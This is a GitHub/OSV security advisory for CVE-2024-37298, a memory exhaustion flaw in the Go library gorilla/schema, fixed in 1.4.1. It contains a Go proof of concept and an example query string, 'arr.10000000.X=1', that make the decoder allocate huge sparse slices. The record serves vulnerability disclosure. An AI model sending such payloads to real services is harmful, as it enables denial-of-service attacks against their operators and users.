{"schema_version":"1.7.3","id":"GHSA-3669-72x9-r9p3","published":"2024-07-01T20:35:12Z","modified":"2026-02-04T03:04:08.550254Z","aliases":["CVE-2024-37298","GO-2024-2958"],"related":["CGA-c6pm-6625-xr6w"],"summary":"Potential memory exhaustion attack due to sparse slice deserialization","details":"### Details\n\nRunning `schema.Decoder.Decode()` on a struct that has a field of type `[]struct{...}` opens it up to malicious attacks regarding memory allocations, taking advantage of the sparse slice functionality. For instance, in the Proof of Concept written below, someone can specify to set a field of the billionth element and it will allocate all other elements before it in the slice. \n\nIn the local environment environment for my project, I was able to call an endpoint like `/innocent_endpoint?arr.10000000.X=1` and freeze my system from the memory allocation while parsing `r.Form`. I think [this line](https://github.com/gorilla/schema/blob/main/decoder.go#L223) is responsible for allocating the slice, although I haven't tested to make sure, so it's just an educated guess.\n\n### Proof of Concept\n\nThe following proof of concept works on both v1.2.0 and v1.2.1. I have not tested earlier versions.\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/gorilla/schema\"\n)\n\nfunc main() {\n\tdec := schema.NewDecoder()\n\tvar result struct {\n\t\tArr []struct{ Val int }\n\t}\n\tif err := dec.Decode(&result, map[string][]string{\"arr.1000000000.Val\": {\"1\"}}); err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Printf(\"%#+v\\n\", result)\n}\n\n```\n\n### Impact\n\nAny use of `schema.Decoder.Decode()` on a struct with arrays of other structs could be vulnerable to this memory exhaustion vulnerability. There seems to be no possible solution that a developer using this library can do to disable this behaviour without fixing it in this project, so all uses of Decode that fall under this umbrella are affected. A fix that doesn't require a major change may also be harder to find, since it could break compatibility with some other intended use-cases.\n","affected":[{"package":{"name":"github.com/gorilla/schema","ecosystem":"Go","purl":"pkg:golang/github.com/gorilla/schema"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/07/GHSA-3669-72x9-r9p3/GHSA-3669-72x9-r9p3.json"}}],"references":[{"type":"WEB","url":"https://github.com/gorilla/schema/security/advisories/GHSA-3669-72x9-r9p3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37298"},{"type":"WEB","url":"https://github.com/gorilla/schema/commit/cd59f2f12cbdfa9c06aa63e425d1fe4a806967ff"},{"type":"PACKAGE","url":"https://github.com/gorilla/schema"},{"type":"WEB","url":"https://github.com/gorilla/schema/blob/main/decoder.go#L223"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2024-07-01T20:35:12Z","nvd_published_at":"2024-07-01T19:15:04Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}